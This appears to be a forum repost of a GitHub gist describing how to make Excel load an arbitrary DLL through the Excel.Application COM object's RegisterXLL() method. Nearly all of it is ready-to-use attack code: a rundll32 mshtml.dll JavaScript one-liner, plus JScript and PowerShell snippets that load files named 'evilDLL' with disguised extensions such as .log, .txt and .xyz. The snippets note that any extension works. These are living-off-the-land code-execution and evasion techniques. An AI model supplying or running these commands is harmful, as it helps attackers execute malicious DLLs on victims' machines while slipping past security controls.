Execute DLL via the Excel.Application

[Nytro]

Execute DLL via the Excel.Application object's RegisterXLL() method

 

BAT

REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();

JS

// Create Instace of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");
// Pass in path to the DLL (can use any extension)
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");

Powershell

# Create Instace of Excel.Application COM object
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
# Pass in path to the DLL (can use any extension)
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")

Sursa: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52